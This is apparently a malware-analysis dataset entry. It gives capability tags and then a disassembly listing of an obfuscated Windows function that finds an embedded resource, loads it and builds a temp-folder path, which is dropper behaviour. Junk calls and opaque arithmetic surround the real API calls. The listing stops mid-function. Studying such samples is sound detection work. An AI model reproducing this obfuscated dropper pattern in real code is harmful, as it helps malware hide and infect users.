Function at 0x140007b00
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x88], rcx
movabs rdi, 0x5c8815a1517a14f2
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, 0x1f
mov r8d, 0xab9d8e
call fcn.1400058b0
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov edx, 0x3a
mov r8d, 0xe71edc
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add r14, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xdfcd99
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add eax, edi
xor eax, r14d
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x20], rsp
sub rsp, 0x20
movabs rcx, 0xe3df21cfd9fa4fa9
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0x70ef1b8096c1c499
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
add eax, edi
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x18], rsp
sub rsp, 0x20
movabs rcx, 0x483e990d0451a3cd
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0x9550458dbfd40105
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add eax, edi
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 8], rsp
sub rsp, 0x20
movabs rcx, 0x4a99758f7b000ae
mov edx, 0x30efc9
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
add edi, eax
sub rsp, 0x20
movabs rcx, 0xfb5668a7084fff53
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
add ebx, edi
lea rax, [rbx*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp], rsp
sub rsp, 0x20
movabs rcx, 0x4f246df575d4a41f
mov edx, 0x24
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
mov r8, r14
call fcn.1400058b0
movabs rcx, 0x1f8f2d6f2431d7df
mov rdx, r14
mov r8, r14
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
movabs rdi, 0x7537cf8e169d4b0a
mov rcx, rdi
mov rdx, r14
mov r8, r14
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
or rdi, 1
sub rsp, 0x20
mov rcx, rdi
call fcn.1400058b0
mov r8d, 0xd39c73
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
movabs rcx, 0x3ff47db9e15c941c
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
movabs rcx, 0xc00b82461ea36be5
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xe8
xor ecx, ecx
mov rdx, r14
mov r9, r14
call fcn.1400058b0
add rsp, 0x20
add eax, ebx
add edi, eax
lea rax, [rdi*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x10], rsp
sub rsp, 0x20
movabs rcx, 0x3c1298133615429
mov edx, 0x2d
mov r8, r14
mov r9, r14
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
mov r8, r14
call fcn.1400058b0
movabs rcx, 0xfc3ed67ecc9eabd8
mov edx, 0x89
mov r8, r14
call fcn.1400058b0
mov edx, 0x3f
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0x5709560f2f74c5a7
call fcn.1400058b0
mov edx, 0x49
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0xc848cc50d90f9217
mov rdx, r14
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x1f7f352f9d0bd91c
lea rcx, [rdi + 1]
sub rsp, 0x20
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov rcx, rdi
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x6e8bd6363673a96
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, 0xd9
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
mov rcx, rdi
call fcn.1400058b0
mov edx, 0xd9
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0xe9889479406a636
lea rcx, [rdi + 1]
sub rsp, 0x20
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov edx, 0xeb5d97
mov r8d, 0x36
xor ecx, ecx
call fcn.1400058b0
mov edx, 0xa2
mov rcx, rdi
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
movabs r15, 0x8de2221a5eb9172
lea rcx, [r15 + 1]
sub rsp, 0x20
mov r8d, 0x5f
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov rcx, r15
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, ebx
xor eax, edi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x68], rsp
sub rsp, 0x20
movabs rcx, 0x1e727c0969a441c7
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov r8d, 0x64
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0xe18d83f6965bbe3a
mov edx, 0xbc43b3
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, edi
add eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x50], rsp
sub rsp, 0x20
movabs rcx, 0xb2bd385f4e875735
mov r8d, 0xd2
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0x9bb6ba52373f831d
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add eax, edi
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x30], rsp
sub rsp, 0x20
movabs rcx, 0xa6892cd768a47873
mov rdx, r14
mov r8, r14
mov r9, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
movabs rcx, 0xd1825bf78166ecbb
mov edx, 0xc8
call fcn.1400058b0
add rsp, 0x20
imul eax, ebx
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp + 0x70], rsp
sub rsp, 0x20
mov edx, 0xa1830e
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
add edi, 0xf012cc39
sub rsp, 0x20
movabs rcx, 0x2d3146adf8716209
mov edx, 0x34
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
add eax, ebx
imul eax, edi
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x38], rsp
sub rsp, 0x20
movabs rcx, 0xf0c62c19e5af77a
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov edx, 0xfd
xor ecx, ecx
mov r8, r14
mov r9, r14
call fcn.1400058b0
movabs rcx, 0xf0f39d3e61a50887
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0x7c352de51c4982e4
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xc6
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
sub rsp, 0x20
movabs rcx, 0x83cad21ae3b67d5c
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add eax, edi
add eax, ebx
movzx eax, al
add eax, 0xf
and eax, 0xfffffff0
call fcn.1400056f0
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
movabs rcx, 0x4a4999f673acd677
mov edx, 0x29a3d3
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
movabs rcx, 0xee459627b5d96b61
mov rdx, r14
call fcn.1400058b0
mov edx, 0xad
xor ecx, ecx
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x47706982d5973fac
lea rcx, [rdi + 0x11fc3d43]
sub rsp, 0x20
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x46c9e7
mov r8d, 0x9e8e4e
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
mov rcx, rdi
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xf6
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor rdi, rax
xor rdi, rbx
sub rsp, 0x20
mov ecx, 0x17
mov edx, 0xcd
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rdi
mov rdx, r14
call fcn.1400058b0
lea rcx, [0x140010006]
mov qword [rbp - 0x78], rsi
mov rdx, rsi
mov r8, rbx
mov r9, rax
call fcn.1400058c0
add rsp, 0x20
mov qword [rbp + 0x78], rax
mov rbx, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x91
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, ebx
or edi, 0x7afafa69
sub rsp, 0x20
mov ecx, 0xa061440
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
and r15d, edi
sub rsp, 0x20
mov ecx, 0x1050504
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
sub rsp, 0x20
mov ecx, 0x1010104
mov r8d, 0x150e41
mov rdx, r14
mov r9, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, edi
add ebx, r15d
sub rsp, 0x20
mov ecx, 0xb071544
mov edx, 0xb7df19
mov r8d, 0x89
mov r9d, 0xdb
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
xor r15d, ebx
sub rsp, 0x20
movabs rdi, 0x72fdfedf1d9972f8
mov rcx, rdi
mov rdx, r14
call fcn.1400058b0
mov edx, 0x3aa5bc
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x64
mov r8d, 0xdb
call fcn.1400058b0
mov ecx, 0xfffffffd
mov edx, 0xd6
mov r8d, 0xeb
mov r9, r14
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 2
mov edx, 0xefc74e
call fcn.1400058b0
add rsp, 0x20
or rdi, 1
sub rsp, 0x20
mov rcx, rdi
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0xdd
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x3d7b
mov r8d, 0xb1
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x4f
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xa577
mov r8d, 0xbf
mov rdx, r14
call fcn.1400058b0
movabs r13, 0x20b1d8ced5d5606c
mov rcx, r13
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0x48
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
add r12d, ebx
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0x98
mov edx, 0x22
mov r8d, 0xfd
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0xcc41
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, edi
sub rsp, 0x20
mov ecx, 0xe8
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xf563
mov edx, 0xaae7e2
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
or r13, 1
sub rsp, 0x20
mov rcx, r13
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
xor edx, edx
call fcn.1400058b0
add rsp, 0x20
add eax, edi
xor eax, r12d
shl rax, 8
call fcn.1400056f0
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
mov ecx, 0x4d
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x90
call fcn.1400058b0
mov ecx, 0x4577
mov r8d, 0xe8
mov rdx, r14
call fcn.1400058b0
mov ecx, 1
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xea4d
mov edx, 0x1fcac5
call fcn.1400058b0
mov edx, 0x7d
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, 0xcaa8cfcd
sub rsp, 0x20
mov ecx, 1
mov edx, 0xb6
mov r8d, 0x3f
call fcn.1400058b0
movabs rcx, 0xdffd3a2a35573034
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x88
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
xor eax, ebx
add eax, edi
shl rax, 8
call fcn.1400056f0
sub rsp, rax
mov qword [rbp - 0x70], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xfffffffd
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0xffffffff
mov edx, 0x2a6098
call fcn.1400058b0
movabs rcx, 0x4bb902557036fc10
mov r8d, 0xb6
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xffffffff
call fcn.1400058b0
mov ecx, 0xfffffffd
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xffffffff
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 2
call fcn.1400058b0
movabs rcx, 0xb446fdaa8fc904f0
mov rdx, r14
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
mov ecx, 0x100
call fcn.1400058b0
mov ecx, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov dword [rbp + 0xc8], eax
sub rsp, 0x20
lea rdx, str._s_s
lea r9, [0x14001114c]
mov rcx, rsi
mov qword [rbp - 0x28], rsi
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x20
mov dword [rbp + 0x90], eax
sub rsp, 0x20
mov edx, 0x72
mov r8d, 0xa
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
add rsp, 0x20
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
sete byte [rbp + 0xd7]
movzx eax, byte [rbp + 0xd7]
mov rcx, qword [rbp - 0x38]
mov byte [rcx], al
movzx eax, byte [rcx]
mov byte [rbp + 0xd6], al
movzx edi, byte [rbp + 0xd7]
sub rsp, 0x20
mov ecx, 0x4d
mov r8d, 0x84
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
or eax, edi
movzx edi, al
imul edi, edi
sub rsp, 0x20
mov ecx, 0xe7e9
mov edx, 0xb6
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, edi
sub rsp, 0x20
mov ecx, 0xd5
mov edx, 0x91
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, dword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x1343
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
imul eax, edi
xor ebx, ebx
cmp r12d, eax
sete bl
movabs rdi, 0x4037bd743117a7c6
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, 0xf6
mov r8d, 0x10
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xd7]
sub rsp, 0x20
mov edx, 0x84
mov rcx, rdi
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
neg ebx
sub rsp, 0x20
mov ecx, 0x16
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xb107
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0x81
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0xff
mov edx, 0x6b
mov r8d, 0x51
call fcn.1400058b0
mov ecx, 0xf21d
mov edx, 0x721e51
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0x4ce84a5b9af691fa
lea rcx, [rdi + 1]
sub rsp, 0x20
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0x2d
call fcn.1400058b0
mov ecx, 0xff
mov r8d, 0x6de421
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x665
call fcn.1400058b0
mov ecx, 0x2b
mov r8d, 0x6580a0
mov r9d, 0x7f
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xff
call fcn.1400058b0
mov ecx, 0x42d3
mov rdx, r14
call fcn.1400058b0
mov edx, 0x56
mov rcx, rdi
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xd6]
mov eax, dword [rbp + 0x90]
mov eax, dword [rbp + 0x90]
mov eax, dword [rbp + 0x90]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xb6
call fcn.1400058b0
movabs rcx, 0xebb8e69942ad8eaf
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
movzx ebx, byte [rbp + 0xd7]
sub rsp, 0x20
mov ecx, 0x85
mov r8d, 0xa8
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
or edi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x5bf2fc
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x413b
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov r13, rax
imul r13d, ebx
sub rsp, 0x20
mov ecx, 0xfc
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
or ebx, r15d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, ebx
imul edi, edi
sub rsp, 0x20
mov ecx, 0x95cf
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
imul ebx, edi
xor edi, edi
cmp r13d, ebx
sete dil
sub rsp, 0x20
movabs rcx, 0xb5b5a5509a9c884f
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov esi, ebx
sub esi, edi
neg edi
mov eax, edi
xor eax, ebx
sub esi, eax
and edi, ebx
sub rsp, 0x20
mov ecx, 1
mov r8d, 0xa145e3
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, esi
sub rsp, 0x20
movabs rcx, 0x471185db190d1e69
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
add ebx, edi
mov rax, qword [rbp + 0x78]
lea esi, [rax + r12]
mov ecx, eax
xor ecx, r12d
sub esi, ecx
and r12d, eax
sub rsp, 0x20
mov ecx, 1
mov edx, 0x4849bf
call fcn.1400058b0
add rsp, 0x20
mov ecx, eax
shl r12d, cl
xor r12d, esi
sub rsp, 0x20
movabs rcx, 0xec8842f52ef251d9
mov edx, 0x7a
call fcn.1400058b0
add rsp, 0x20
add eax, r12d
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov rsi, rsp
sub rsp, 0x20
mov ecx, 0xc
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x3b9
mov edx, 0xb6
call fcn.1400058b0
mov ecx, 0x4b
mov edx, 0x46
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x1a23
mov rdx, r14
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
movabs rbx, 0x756a0c12abef6610
lea rcx, [rbx + 1]
sub rsp, 0x20
mov edx, 0x24
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
add rsp, 0x20
xor edi, eax
sub rsp, 0x20
mov ecx, 0x59
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x4b1
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xeb
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
call fcn.1400058b0
mov ecx, 0x4723
mov rdx, r14
call fcn.1400058b0
mov rcx, rbx
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0xfd
xor ecx, ecx
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
add ebx, eax
xor ebx, edi
lea rax, [rbx*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.1400056f0
sub rsp, rax
mov rbx, rsp
sub rsp, 0x20
mov ecx, 1
mov edx, 0x16
call fcn.1400058b0
add rsp, 0x20
movabs rdi, 0xe3b4f3cf4b81308
lea rcx, [rdi + 1]
sub rsp, 0x20
mov edx, 0x437822
mov r8, r14
call fcn.1400058b0
add rsp, 0x20
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
mov eax, dword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 1
mov rdx, r14
call fcn.1400058b0
mov rcx, rdi
call fcn.1400058b0
xor ecx, ecx
mov rdx, r14
call fcn.1400058b0
mov ecx, 1
call fcn.1400058b0
movabs rcx, 0x4fbcd94fd4f2e309
mov edx, 0xf6
call fcn.1400058b0
mov edx, 0x2b079a
xor ecx, ecx
mov r8, r14
call fcn.1400058b0
mov ecx, 0xd1
mov edx, 0x7d48cb
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0x82df
call fcn.1400058b0
mov ecx, 0x6e
mov rdx, r14
call fcn.1400058b0
mov ecx, 0xff
mov rdx, r14
mov r8, r14
call fcn.1400058b0
mov ecx, 0xaf9f
mov rdx, r14
call fcn.1400058b0
movabs rcx, 0xfa0cc5f1c70d9b39
call fcn.1400058b0
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
cmp byte [rbp + 0xd6], 0
jne 0x14000afb7
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rsi
mov rdx, qword [rbp + 0x38]
sub rsp, 0x20
mov rsi, qword [rbp + 0x88]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
add rsp, 0x20
mov dword [rbp + 0xd0], eax
mov eax, dword [rbp + 0xd0]
mov rdi, qword [rbp + 0x70]
mov dword [rdi], eax
mov rdx, qword [rbp + 0x38]
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
add rsp, 0x20
mov rcx, qword [rbp - 0x30]
mov qword [rcx], rax
mov rcx, qword [rcx]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LockResource]
add rsp, 0x20
mov r14, rax
mov eax, dword [rdi]
mov dword [rbp + 0xa0], eax
mov eax, dword [rbp + 0xa0]
mov qword [rbp + 0x80], rax
movzx r15d, byte [rbp + 0xd6]
mov eax, dword [rbp + 0xc8]
add eax, r15d
mov ecx, dword [rbp + 0xc8]
xor ecx, r15d
sub eax, ecx
and r15d, dword [rbp + 0xc8]
add r15d, r15d
xor r15d, eax
movabs rsi, 0xfd52fe85fd8a4af
lea rcx, [rsi + 0x1000]
sub rsp, 0x20
call fcn.1400058b0
add rsp, 0x20
movzx eax, byte [rbp + 0xd7]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov eax, dword [rbp + 0xd0]
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 1
call fcn.1400058b0
add rsp, 0x20
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov rcx, rsi
call fcn.1400058b0
mov edx, 0x71939f
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
mov r13, qword [rbp + 0x80]
movzx r12d, byte [rbp + 0xd6]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xdbffeb
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
xor edi, r12d
or edi, r13d
mov esi, r13d
or esi, r12d
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, esi
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0xfffffffd
mov r8d, 0xdc41e9
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
xor ebx, r13d
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 2
call fcn.1400058b0
add rsp, 0x20
imul ebx, eax
sub ebx, r12d
xor r13d, r12d
sub r13d, edi
sub r13d, esi
xor r13d, ebx
sub rsp, 0x20
movabs rcx, 0xe55d4841834cd36d
call fcn.1400058b0
add rsp, 0x20
add r13d, eax
movzx edi, byte [rbp + 0xd6]
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
mov ecx, 0x16
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, r15d
sub rsp, 0x20
mov ecx, 0xff
call fcn.1400058b0
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xcd3f
call fcn.1400058b0
add rsp, 0x20
mov r15, rax
imul r15d, ebx
sub rsp, 0x20
mov ecx, 0xc6
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0xd1
call fcn.1400058b0
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x3275
call fcn.1400058b0
add rsp, 0x20
mov r12, rax
imul r12d, edi
sub rsp, 0x20
movabs rcx, 0x7f522f5f927cb994
call fcn.1400058b0
add rsp, 0x20
mov rsi, rax
mov edx, dword [rbp + 0xd0]
sub rsp, 0x20
xor ecx, ecx
call fcn.1400058b0
add rsp, 0x20
add esi, eax
imul esi, r13d
